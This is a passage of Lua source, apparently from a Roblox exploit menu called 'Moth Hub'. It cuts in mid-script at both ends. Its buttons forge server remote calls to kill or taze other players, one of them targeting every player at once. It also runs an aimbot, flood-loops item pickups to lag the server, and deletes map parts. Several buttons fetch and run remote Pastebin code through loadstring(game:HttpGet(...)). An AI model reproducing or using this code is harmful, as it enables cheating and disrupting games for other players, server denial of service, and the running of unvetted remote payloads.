["Distance"] = 4.444625377655,
["Cframe"] = CFrame.new(832.185486, 101.391617,
2300.70264, 0.775115669, -0.0692948848, 0.628007889, 7.45057971e-09, 0.993967533,
0.109675139, -0.631819367, -0.0850109085, 0.770439863),
["Hit"] = game.Workspace[killtext.Text].Head
},
[4] =
{
["RayObject"] = Ray.new(Vector3.new(827.412415,
101.489777, 2296.84326), Vector3.new(284.930573, 11.9850616, 280.483368)),
["Distance"] = 4.6211166381836,
["Cframe"] = CFrame.new(832.10083, 101.445007,
2300.86963, 0.820150614, -0.0735745132, 0.567397356, 0, 0.991697431, 0.128593579,
-0.572147667, -0.105466105, 0.81334126),
["Hit"] = game.Workspace[killtext.Text].Head
},
[5] =
{
["RayObject"] = Ray.new(Vector3.new(827.412415,
101.489777, 2296.84326), Vector3.new(294.625824, 2.15741801, 270.538269)),
["Distance"] = 4.4639973640442,
["Cframe"] = CFrame.new(832.169434, 101.341301,
2300.73438, 0.784266233, -0.0537625961, 0.618090749, -3.7252903e-09, 0.99623847,
0.086654529, -0.620424569, -0.0679602176, 0.781316102),
["Hit"] = game.Workspace[killtext.Text].Head
}
}
local A_2 = game.Players.LocalPlayer.Backpack["Remington 870"]
local Event = game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)

wait(0.5)
workspace.Remote.TeamEvent:FireServer("Bright orange")
end)

waves.Name = "waves"
waves.Parent = main
waves.BackgroundColor3 = Color3.new(1, 1, 0)
waves.Position = UDim2.new(0.0201378968, 0, 0.646579564, 0)
waves.Size = UDim2.new(0, 111, 0, 26)
waves.Font = Enum.Font.GothamBold
waves.Text = "Fe Waves"
waves.TextColor3 = Color3.new(0, 0, 0)
waves.TextSize = 14
waves.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Bright blue")

local toolamount = 40 -- How long the tornado is


local tornadosize = 1 -- The size of how big the opening of the
tornado is

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #LocalPlayer.Backpack:GetChildren()
LocalPlayer.Character.Archivable = true
local tempchar = LocalPlayer.Character:Clone()
tempchar.Parent = workspace
local savepos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = runservice.RenderStepped:Connect(function()
workspace.CurrentCamera.CameraSubject =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs(LocalPlayer.Backpack:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer
end
end
LocalPlayer.Character:ClearAllChildren()
local char = Instance.new("Model", workspace)
table.insert(characters, char)
Instance.new("Humanoid", char)
LocalPlayer.Character = char
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character ~= nil
end)
repeat runservice.RenderStepped:Wait() until
#LocalPlayer:GetChildren() - 4 - currentamount >= toolamount
renderstepped:Disconnect()
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for index, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer.Backpack
tool.Handle.Massless = false
tool.Grip = CFrame.new(Vector3.new(0, math.sin(index
+ 0.5), index)) * CFrame.Angles(math.rad(tornadosize), 0, -index)
tool.Parent = LocalPlayer.Character
if tool.Handle:FindFirstChild("Mesh") ~= nil then
tool.Handle.Mesh:Destroy()
end
end
end
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()
end)
bigbowl.Name = "bigbowl"
bigbowl.Parent = main
bigbowl.BackgroundColor3 = Color3.new(1, 1, 0)
bigbowl.Position = UDim2.new(0.341908664, 0, 0.647788644, 0)
bigbowl.Size = UDim2.new(0, 111, 0, 26)
bigbowl.Font = Enum.Font.GothamBold
bigbowl.Text = "Fe Big Bowl"
bigbowl.TextColor3 = Color3.new(0, 0, 0)
bigbowl.TextSize = 14
bigbowl.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Bright blue")

local toolamount = 250 -- How much covered the bowl is


local bowlsize = 20 -- How big the bowl is

local LocalPlayer = game:GetService("Players").LocalPlayer


local runservice = game:GetService("RunService")
local characters = {}
LocalPlayer.Character:FindFirstChild("Humanoid"):UnequipTools()
local currentamount = #LocalPlayer.Backpack:GetChildren()
LocalPlayer.Character.Archivable = true
local tempchar = LocalPlayer.Character:Clone()
tempchar.Parent = workspace
local savepos =
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame
local renderstepped = runservice.RenderStepped:Connect(function()
workspace.CurrentCamera.CameraSubject =
tempchar:FindFirstChild("Humanoid")
for _, tool in pairs(LocalPlayer.Backpack:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer
end
end
LocalPlayer.Character:ClearAllChildren()
local char = Instance.new("Model", workspace)
table.insert(characters, char)
Instance.new("Humanoid", char)
LocalPlayer.Character = char
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character ~= nil
end)
repeat runservice.RenderStepped:Wait() until
#LocalPlayer:GetChildren() - 4 - currentamount >= toolamount
renderstepped:Disconnect()
repeat runservice.RenderStepped:Wait() until
LocalPlayer.Character:FindFirstChild("HumanoidRootPart") ~= nil
for _, char in pairs(characters) do
char:Destroy()
end
for index, tool in pairs(LocalPlayer:GetChildren()) do
if tool:IsA("Tool") then
tool.Parent = LocalPlayer.Backpack
tool.Handle.Massless = true
tool.Grip = CFrame.new(Vector3.new(math.sin(index *
0.1), bowlsize, 0)) * CFrame.Angles(math.sin(index * 0.1), index, 0)
tool.Parent = LocalPlayer.Character
if tool.Handle:FindFirstChild("Mesh") ~= nil then
tool.Handle.Mesh:Destroy()
end
end
end
LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame =
savepos
tempchar:Destroy()
LocalPlayer.Character:FindFirstChild("Humanoid").HipHeight =
bowlsize
end)

tazeplrmain.Name = "tazeplrmain"
tazeplrmain.Parent = main
tazeplrmain.BackgroundColor3 = Color3.new(1, 0, 1)
tazeplrmain.Position = UDim2.new(0.358376801, 0, 0.83788842, 0)
tazeplrmain.Size = UDim2.new(0, 103, 0, 47)

tazetext.Name = "tazetext"
tazetext.Parent = tazeplrmain
tazetext.BackgroundColor3 = Color3.new(1, 0.666667, 1)
tazetext.Size = UDim2.new(0, 99, 0, 19)
tazetext.Font = Enum.Font.Gotham
tazetext.Text = "Player Name"
tazetext.TextColor3 = Color3.new(0, 0, 0)
tazetext.TextSize = 14

taze.Name = "taze"
taze.Parent = tazeplrmain
taze.BackgroundColor3 = Color3.new(0, 0, 0)
taze.Position = UDim2.new(0.128543824, 0, 0.510639191, 0)
taze.Size = UDim2.new(0, 80, 0, 22)
taze.Font = Enum.Font.GothamBold
taze.Text = "TAZE"
taze.TextColor3 = Color3.new(1, 1, 1)
taze.TextSize = 14
taze.MouseButton1Down:connect(function()
local A_1 =
{
[1] =
{
["RayObject"] = Ray.new(Vector3.new(829.838562,
101.489998, 2331.25635), Vector3.new(-30.6540909, -5.42795324, 95.0308533)),
["Distance"] = 15.355997085571,
["Cframe"] = CFrame.new(826.616699, 100.8508,
2340.11279, 0.964640439, -0.00993416365, -0.263382077, 9.31322575e-10, 0.999289393,
-0.0376908854, 0.263569355, 0.0363581516, 0.963954985),
["Hit"] = game.Workspace[tazetext.Text].Torso
}
}
local A_2 = game.Players.LocalPlayer.Backpack["Taser"]
local Event = game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)
end)

teamcrim.Name = "teamcrim"
teamcrim.Parent = main
teamcrim.BackgroundColor3 = Color3.new(1, 0, 0)
teamcrim.Position = UDim2.new(0.775380731, 0, 0.108776733, 0)
teamcrim.Size = UDim2.new(0, 83, 0, 22)
teamcrim.Font = Enum.Font.GothamBlack
teamcrim.Text = "Team Crim"
teamcrim.TextColor3 = Color3.new(0, 0, 0)
teamcrim.TextSize = 14
teamcrim.MouseButton1Down:connect(function()
wait(0.3)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(-976.125183, 109.123924, 2059.99536)

wait(0.3)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(918.77,100,2379.07)
end)

tazeall.Name = "tazeall"
tazeall.Parent = main
tazeall.BackgroundColor3 = Color3.new(1, 0, 0)
tazeall.Position = UDim2.new(0.342309177, 0, 0.759402633, 0)
tazeall.Size = UDim2.new(0, 109, 0, 34)
tazeall.Font = Enum.Font.GothamBold
tazeall.Text = "Taze All"
tazeall.TextColor3 = Color3.new(0, 0, 0)
tazeall.TextSize = 14
tazeall.MouseButton1Down:connect(function()
workspace.Remote.TeamEvent:FireServer("Bright blue")

function kill(a)
local A_1 =
{
[1] =
{
["RayObject"] =
Ray.new(Vector3.new(829.838562, 101.489998, 2331.25635), Vector3.new(-30.6540909,
-5.42795324, 95.0308533)),
["Distance"] = 15.355997085571,
["Cframe"] = CFrame.new(826.616699,
100.8508, 2340.11279, 0.964640439, -0.00993416365, -0.263382077, 9.31322575e-10,
0.999289393, -0.0376908854, 0.263569355, 0.0363581516, 0.963954985),
["Hit"] = a.Character.Torso
}
}
local A_2 = game.Players.LocalPlayer.Backpack["Taser"]
local Event =
game:GetService("ReplicatedStorage").ShootEvent
Event:FireServer(A_1, A_2)
end
for i,v in pairs(game.Players:GetChildren())do
if v.Name ~= game.Players.LocalPlayer.Name then
kill(v)
end
end
end)

removewalls.Name = "removewalls"
removewalls.Parent = main
removewalls.BackgroundColor3 = Color3.new(1, 0, 0)
removewalls.Position = UDim2.new(0.670628905, 0, 0.758472741, 0)
removewalls.Size = UDim2.new(0, 110, 0, 34)
removewalls.Font = Enum.Font.GothamBold
removewalls.Text = "Remove Walls"
removewalls.TextColor3 = Color3.new(0, 0, 0)
removewalls.TextSize = 14
removewalls.MouseButton1Down:connect(function()
wait(0.1)
game.Workspace.Prison_Guard_Outpost:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.building:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.glass:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.oven:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.shelves:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.vents:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.accents:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.vendingmachine:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.Prison_table1:Remove()

wait(0.1)
game.Workspace.Prison_Cafeteria.counter:Remove()
wait(0.1)
game.Workspace.Prison_Cafeteria.boxes:Remove()
end)

removeall.Name = "removeall"
removeall.Parent = main
removeall.BackgroundColor3 = Color3.new(1, 0, 0)
removeall.Position = UDim2.new(0.673120499, 0, 0.838146329, 0)
removeall.Size = UDim2.new(0, 110, 0, 47)
removeall.Font = Enum.Font.GothamBold
removeall.Text = "Remove All"
removeall.TextColor3 = Color3.new(0, 0, 0)
removeall.TextSize = 14
removeall.MouseButton1Down:connect(function()
wait(0.1)
game.Workspace.Prison_Halls.walls:Remove()

wait(0.1)
game.Workspace.Prison_Halls.roof:Remove()

wait(0.1)
game.Workspace.Prison_Halls.outlines:Remove()

wait(0.1)
game.Workspace.Prison_Halls.lights:Remove()

wait(0.1)
Workspace.Prison_Halls.accent:Remove()

wait(0.1)
game.Workspace.Prison_Halls.glass:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.b_front:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.doors:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.c_tables:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.a_front:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.b_outerwall:Remove()
wait(0.1)
game.Workspace.Prison_Cellblock.c_wall:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.b_wall:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.c_hallwall:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.a_outerwall:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.b_ramp:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.a_ramp:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.a_walls:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.Cells_B:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.Cells_A:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.c_corner:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.Wedge:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.a_ceiling:Remove()

wait(0.1)
game.Workspace.Prison_Cellblock.b_ceiling:Remove()

wait(0.1)
game.Workspace.City_buildings:Remove()

wait(0.1)
game.Workspace.Prison_OuterWall:Remove()
wait(0.1)
game.Workspace.Prison_Fences:Remove()
end)

lagserver.Name = "lagserver"
lagserver.Parent = main
lagserver.BackgroundColor3 = Color3.new(0.333333, 0, 0.498039)
lagserver.Position = UDim2.new(0.66476965, 0, 0.659647882, 0)
lagserver.Size = UDim2.new(0, 120, 0, 42)
lagserver.Font = Enum.Font.GothamBold
lagserver.Text = "Lag Server (Swat)"
lagserver.TextColor3 = Color3.new(0, 1, 1)
lagserver.TextSize = 14
lagserver.MouseButton1Down:connect(function()
while true do
workspace.Remote.TeamEvent:FireServer("Bright blue")

for i = 10000,999999999999999,1 do
for i,v in
pairs(Workspace.Prison_ITEMS.clothes:GetChildren()) do

lol =
Workspace.Remote.ItemHandler:InvokeServer(v.ITEMPICKUP)
print(lol)
end
end
end

end)
-- Scripts:
end)

lasertag.Name = "lasertag"
lasertag.Parent = Frame
lasertag.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
lasertag.BackgroundTransparency = 0.900
lasertag.BorderColor3 = Color3.fromRGB(100, 173, 111)
lasertag.BorderSizePixel = 0
lasertag.Position = UDim2.new(0.0699071586, 0, 0.259425044, 0)
lasertag.Size = UDim2.new(0, 266, 0, 27)
lasertag.Font = Enum.Font.GothamSemibold
lasertag.Text = "Laser Tag TP Gui (made by me)"
lasertag.TextColor3 = Color3.fromRGB(0, 0, 0)
lasertag.TextSize = 15.000
lasertag.MouseButton1Down:connect(function()

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("Frame")
local blueflag = Instance.new("TextButton")
local redflag = Instance.new("TextButton")
local TextLabel = Instance.new("TextLabel")
local TextLabel_2 = Instance.new("TextLabel")
local TextLabel_3 = Instance.new("TextLabel")
--Properties:

ScreenGui.Parent = game.CoreGui

Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(217, 224, 255)
Frame.BorderColor3 = Color3.fromRGB(162, 161, 186)
Frame.BorderSizePixel = 10
Frame.Position = UDim2.new(0.768745065, 0, 0.733528554, 0)
Frame.Size = UDim2.new(0, 278, 0, 170)
Frame.Visible = true
Frame.Draggable = true
blueflag.Name = "blueflag"
blueflag.Parent = Frame
blueflag.BackgroundColor3 = Color3.fromRGB(255, 128, 128)
blueflag.BorderColor3 = Color3.fromRGB(162, 70, 70)
blueflag.BorderSizePixel = 5
blueflag.Position = UDim2.new(0.44698, 0, 0.0549995303, 0)
blueflag.Size = UDim2.new(0, 146, 0, 69)
blueflag.Font = Enum.Font.GothamBlack
blueflag.Text = "Blue Flag"
blueflag.TextColor3 = Color3.fromRGB(0, 0, 0)
blueflag.TextSize = 14.000
blueflag.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(7.21175814, 18.1412735, -458.570953, -0.469445229, 0.0782607049,
-0.879486442, -1.53945674e-08, 0.996064246, 0.0886343271, 0.882961571,
0.0416089781, -0.467597604)
end)
redflag.Name = "redflag"
redflag.Parent = Frame
redflag.BackgroundColor3 = Color3.fromRGB(66, 142, 255)
redflag.BorderColor3 = Color3.fromRGB(44, 81, 200)
redflag.BorderSizePixel = 5
redflag.Position = UDim2.new(0.446980059, 0, 0.540823281, 0)
redflag.Size = UDim2.new(0, 146, 0, 69)
redflag.Font = Enum.Font.GothamBold
redflag.Text = "Red Flag"
redflag.TextColor3 = Color3.fromRGB(0, 0, 0)
redflag.TextSize = 14.000
redflag.MouseButton1Down:connect(function()
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
CFrame.new(6.84425402, 19.2521877, 228.495193, -0.958809853, 0.00723718712,
-0.283956468, 9.09468945e-09, 0.999675393, 0.0254786555, 0.284048676, 0.0244291835,
-0.958498597)
end)
TextLabel.Parent = Frame
TextLabel.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel.BackgroundTransparency = 1.000
TextLabel.Position = UDim2.new(0.0332628153, 0, -0.0355438516, 0)
TextLabel.Size = UDim2.new(0, 104, 0, 143)
TextLabel.Font = Enum.Font.GothamBold
TextLabel.Text = "Laser Tag"
TextLabel.TextColor3 = Color3.fromRGB(29, 29, 29)
TextLabel.TextSize = 24.000

TextLabel_2.Parent = Frame
TextLabel_2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_2.BackgroundTransparency = 1.000
TextLabel_2.Position = UDim2.new(0.0332629681, 0, 0.158418775, 0)
TextLabel_2.Size = UDim2.new(0, 104, 0, 143)
TextLabel_2.Font = Enum.Font.GothamBold
TextLabel_2.Text = "TP Gui"
TextLabel_2.TextColor3 = Color3.fromRGB(29, 29, 29)
TextLabel_2.TextSize = 24.000

TextLabel_3.Parent = Frame
TextLabel_3.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
TextLabel_3.BackgroundTransparency = 1.000
TextLabel_3.Position = UDim2.new(0.0647566915, 0, 0.537352562, 0)
TextLabel_3.Size = UDim2.new(0, 87, 0, 136)
TextLabel_3.Font = Enum.Font.GothamBold
TextLabel_3.Text = "by ItsMoth (YT)"
TextLabel_3.TextColor3 = Color3.fromRGB(29, 29, 29)
TextLabel_3.TextSize = 15.000
end)
pizza.Name = "pizza"
pizza.Parent = Frame
pizza.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
pizza.BackgroundTransparency = 0.900
pizza.BorderColor3 = Color3.fromRGB(100, 173, 111)
pizza.BorderSizePixel = 0
pizza.Position = UDim2.new(0.0699071586, 0, 0.53258419, 0)
pizza.Size = UDim2.new(0, 266, 0, 27)
pizza.Font = Enum.Font.GothamSemibold
pizza.Text = "Pizza Place Manager Script"
pizza.TextColor3 = Color3.fromRGB(0, 0, 0)
pizza.TextSize = 15.000
pizza.MouseButton1Down:connect(function()
--THIS SCRIPT BELONGS TOO serilKilla!

spawn(loadstring(game:HttpGet("https://pastebin.com/raw/q817HYb9",true)))

--Use \ to execute commands


end)

arsenal.Name = "arsenal"
arsenal.Parent = Frame
arsenal.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
arsenal.BackgroundTransparency = 0.900
arsenal.BorderColor3 = Color3.fromRGB(100, 173, 111)
arsenal.BorderSizePixel = 0
arsenal.Position = UDim2.new(0.0699071586, 0, 0.394387424, 0)
arsenal.Size = UDim2.new(0, 266, 0, 27)
arsenal.Font = Enum.Font.GothamSemibold
arsenal.Text = "Arsenal Aimbot (E)"
arsenal.TextColor3 = Color3.fromRGB(0, 0, 0)
arsenal.TextSize = 15.000
arsenal.MouseButton1Down:connect(function()
game.Players.LocalPlayer:GetMouse().KeyDown:Connect(function(k)
if k == "e" then
local Gun =
game.ReplicatedStorage.Weapons:FindFirstChild(game.Players.LocalPlayer.NRPBS.Equipp
edTool.Value);
local Crit = math.random() > .6 and true or false;
for i,v in pairs(game.Players:GetPlayers()) do
if v and v.Character and
v.Character:FindFirstChild("Head") then
local Distance =
(game.Players.LocalPlayer.Character.Head.Position -
v.Character.Head.Position).magnitude
for i = 1,10 do

game.ReplicatedStorage.Events.HitPart:FireServer(v.Character.Head,
v.Character.Head.Position +
Vector3.new(math.random(), math.random(), math.random()),
Gun.Name,
Crit and 2 or 1,
Distance,
Backstab,
Crit,
false,
1,
false,
Gun.FireRate.Value,
Gun.ReloadTime.Value,
Gun.Ammo.Value,
Gun.StoredAmmo.Value,
Gun.Bullets.Value,
Gun.EquipTime.Value,
Gun.RecoilControl.Value,
Gun.Auto.Value,
Gun['Speed%'].Value,

game.ReplicatedStorage.wkspc.DistributedTime.Value);
end
end
end
end
end)
end)
credits.Name = "credits"
credits.Parent = Frame
credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
credits.BackgroundTransparency = 0.900
credits.BorderColor3 = Color3.fromRGB(100, 173, 111)
credits.BorderSizePixel = 0
credits.Position = UDim2.new(0.0699071586, 0, 0.819276094, 0)
credits.Size = UDim2.new(0, 266, 0, 27)
credits.Font = Enum.Font.GothamSemibold
credits.Text = "Gui Made By ItsMoth / gerald #1234"
credits.TextColor3 = Color3.fromRGB(0, 0, 0)
credits.TextSize = 15.000
title.Name = "title"
title.Parent = Frame
title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title.BackgroundTransparency = 1.000
title.Position = UDim2.new(-0.00302505493, 0, -0.00199633837, 0)
title.Size = UDim2.new(0, 300, 0, 50)
title.Font = Enum.Font.GothamSemibold
title.Text = "Page 2"
title.TextColor3 = Color3.fromRGB(110, 255, 120)
title.TextSize = 40.000

subtitle.Name = "subtitle"
subtitle.Parent = Frame
subtitle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
subtitle.BackgroundTransparency = 1.000
subtitle.Position = UDim2.new(0.274585903, 0, 0.106399715, 0)
subtitle.Size = UDim2.new(0, 127, 0, 50)
subtitle.Font = Enum.Font.GothamSemibold
subtitle.Text = "Game Scripts"
subtitle.TextColor3 = Color3.fromRGB(110, 255, 120)
subtitle.TextSize = 15.000

pgclose.Name = "pgclose"
pgclose.Parent = Frame
pgclose.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
pgclose.BackgroundTransparency = 1.000
pgclose.BorderColor3 = Color3.fromRGB(100, 173, 111)
pgclose.BorderSizePixel = 0
pgclose.Position = UDim2.new(0.487913609, 0, 0.0406750441, 0)
pgclose.Size = UDim2.new(0, 266, 0, 27)
pgclose.Font = Enum.Font.GothamSemibold
pgclose.Text = "X"
pgclose.TextColor3 = Color3.fromRGB(114, 255, 126)
pgclose.TextSize = 40.000
pgclose.MouseButton1Down:connect(function()
Frame.Visible = false
end)
end)
title.Name = "title"
title.Parent = Frame
title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title.BackgroundTransparency = 1.000
title.BorderColor3 = Color3.fromRGB(29, 195, 0)
title.Position = UDim2.new(0.0307292938, 0, -0.00252586603, 0)
title.Size = UDim2.new(0, 354, 0, 50)
title.Font = Enum.Font.GothamBold
title.Text = "Moth Hub"
title.TextColor3 = Color3.fromRGB(138, 255, 125)
title.TextSize = 40.000

Close.Name = "Close"
Close.Parent = Frame
Close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Close.BackgroundTransparency = 1.000
Close.Position = UDim2.new(0.877751231, 0, 0.0185347367, 0)
Close.Size = UDim2.new(0, 32, 0, 35)
Close.Font = Enum.Font.GothamSemibold
Close.Text = "X"
Close.TextColor3 = Color3.fromRGB(116, 255, 137)
Close.TextSize = 40.000
Close.MouseButton1Down:connect(function()
Open.Visible = true
Frame.Visible = false
end)

title.Name = "title"
title.Parent = Frame
title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
title.BackgroundTransparency = 1.000
title.BorderColor3 = Color3.fromRGB(29, 195, 0)
title.Position = UDim2.new(0.0307292938, 0, -0.00252586603, 0)
title.Size = UDim2.new(0, 354, 0, 50)
title.Font = Enum.Font.GothamBold
title.Text = "Moth Hub"
title.TextColor3 = Color3.fromRGB(138, 255, 125)
title.TextSize = 40.000

Close.Name = "Close"
Close.Parent = Frame
Close.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Close.BackgroundTransparency = 1.000
Close.Position = UDim2.new(0.877751231, 0, 0.0185347367, 0)
Close.Size = UDim2.new(0, 32, 0, 35)
Close.Font = Enum.Font.GothamSemibold
Close.Text = "X"
Close.TextColor3 = Color3.fromRGB(116, 255, 137)
Close.TextSize = 40.000
Close.MouseButton1Down:connect(function()
Open.Visible = true
Frame.Visible = false
end)
version.Name = "version"
version.Parent = Frame
version.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
version.BackgroundTransparency = 1.000
version.BorderColor3 = Color3.fromRGB(29, 195, 0)
version.Position = UDim2.new(-0.394072831, 0, -0.0305632483, 0)
version.Size = UDim2.new(0, 354, 0, 50)
version.Font = Enum.Font.GothamBold
version.Text = "V1.12"
version.TextColor3 = Color3.fromRGB(138, 255, 125)
version.TextSize = 20.000

pagethree.Name = "pagethree"
pagethree.Parent = Frame
pagethree.BackgroundColor3 = Color3.fromRGB(107, 255, 142)
pagethree.BackgroundTransparency = 0.200
pagethree.BorderColor3 = Color3.fromRGB(47, 111, 29)
pagethree.BorderSizePixel = 2
pagethree.Position = UDim2.new(0.538881183, 0, 0.881535709, 0)
pagethree.Size = UDim2.new(0, 148, 0, 29)
pagethree.Font = Enum.Font.GothamSemibold
pagethree.Text = "Page Three"
pagethree.TextColor3 = Color3.fromRGB(0, 0, 0)
pagethree.TextSize = 14.000
pagethree.MouseButton1Down:connect(function()
-- Gui to Lua
-- Version: 3.2

-- Instances:

local ScreenGui = Instance.new("ScreenGui")


local Frame = Instance.new("ImageLabel")
local arosia = Instance.new("TextButton")
local clovr = Instance.new("TextButton")
local invisfling = Instance.new("TextButton")
local cartride = Instance.new("TextButton")
local credits = Instance.new("TextButton")
local psyhub = Instance.new("TextButton")
local freecam = Instance.new("TextButton")
local fakeip = Instance.new("TextButton")
local rolling = Instance.new("TextButton")
local TextLabel = Instance.new("TextLabel")
local close3 = Instance.new("TextButton")

--Properties:

ScreenGui.Parent = game.CoreGui

Frame.Name = "Frame"
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame.BackgroundTransparency = 1.000
Frame.Position = UDim2.new(-0.000789254904, 0, 0.520884514, 0)
Frame.Size = UDim2.new(0, 317, 0, 390)
Frame.Image = "rbxassetid://3570695787"
Frame.ImageColor3 = Color3.fromRGB(0, 0, 13)
Frame.ScaleType = Enum.ScaleType.Slice
Frame.SliceCenter = Rect.new(100, 100, 100, 100)
Frame.SliceScale = 0.120
Frame.Draggable = true
Frame.Visible = true
Frame.Active = true

arosia.Name = "arosia"
arosia.Parent = Frame
arosia.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
arosia.BackgroundTransparency = 0.900
arosia.BorderColor3 = Color3.fromRGB(100, 173, 111)
arosia.BorderSizePixel = 0
arosia.Position = UDim2.new(0.0787409693, 0, 0.124828324, 0)
arosia.Size = UDim2.new(0, 266, 0, 27)
arosia.Font = Enum.Font.GothamSemibold
arosia.Text = "Arosia"
arosia.TextColor3 = Color3.fromRGB(0, 0, 0)
arosia.TextSize = 15.000
arosia.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/TDhMiptj'))()
end)

clovr.Name = "clovr"
clovr.Parent = Frame
clovr.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
clovr.BackgroundTransparency = 0.900
clovr.BorderColor3 = Color3.fromRGB(100, 173, 111)
clovr.BorderSizePixel = 0
clovr.Position = UDim2.new(0.0787409693, 0, 0.215273038, 0)
clovr.Size = UDim2.new(0, 266, 0, 27)
clovr.Font = Enum.Font.GothamSemibold
clovr.Text = "Clovr VR Script"
clovr.TextColor3 = Color3.fromRGB(0, 0, 0)
clovr.TextSize = 15.000
clovr.MouseButton1Down:connect(function()
--vr script thread https://v3rmillion.net/showthread.php?tid=953077

-- CLOVR - FE FULL-BODY VR SCRIPT

-- April 21st Update - TOOL HOLDING ADDED


-- | made by 0866!!!!!!! and abacaxl!!!!!!!!
-- | tysm unverified

-- This is an older version of CLOVR, I found that the legs would 'walk'
better in this version than the one we released.

--Controls are a bit different from last release because this is older. Still
works good!

--RagDollEnabled is set to true, DON'T set it to false or CLOVR won't work.


Feel free to change the other settings though. -Abacaxl

--|| Settings:

local StudsOffset = 0 -- Character height (negative if you're too high)


local Smoothness = .5 -- Character interpolation (0.1 - 1 = smooth - rigid)

local AnchorCharacter = true -- Prevent physics from causing inconsistencies


local HideCharacter = false -- Hide character on a platform
local NoCollision = true -- Disable player collision

local ChatEnabled = true -- See chat on your left hand in-game


local ChatLocalRange = 75 -- Local chat range

local ViewportEnabled = true -- View nearby players in a frame


local ViewportRange = 30 -- Maximum distance players are updated

local RagdollEnabled = true -- Use your character instead of hats


(NetworkOwner vulnerability)
local RagdollHeadMovement = true -- Move your head separately from your body
(+9 second wait)

local AutoRun = false -- Run script on respawn


local AutoRespawn = true -- Kill your real body when your virtual body dies

local WearAllAccessories = true -- Use all leftover hats for the head
local AccurateHandPosition = true -- Move your Roblox hands according to your
real hands

local AccessorySettings = {
LeftArm = "";
RightArm = "";
LeftLeg = "";
RightLeg = "";
Torso = "";
Head = true;

BlockArms = true;
BlockLegs = true;
BlockTorso = true;
LimbOffset = CFrame.Angles(math.rad(90), 0, 0);
}

local FootPlacementSettings = {
RightOffset = Vector3.new(.5, 0, 0),
LeftOffset = Vector3.new(-.5, 0, 0),
}

--|| Script:

local Script = nil;

Script = function()

--[[
Variables
--]]

local Players = game:GetService("Players")


local Client = Players.LocalPlayer
local Character = Client.Character or Client.CharacterAdded:Wait()
local WeldBase = Character:WaitForChild("HumanoidRootPart")
local ArmBase = Character:FindFirstChild("RightHand") or
Character:FindFirstChild("Right Arm") or WeldBase
local Backpack = Client:WaitForChild("Backpack")
local Mouse = Client:GetMouse()

local Camera = workspace.CurrentCamera

local VRService = game:GetService("VRService")


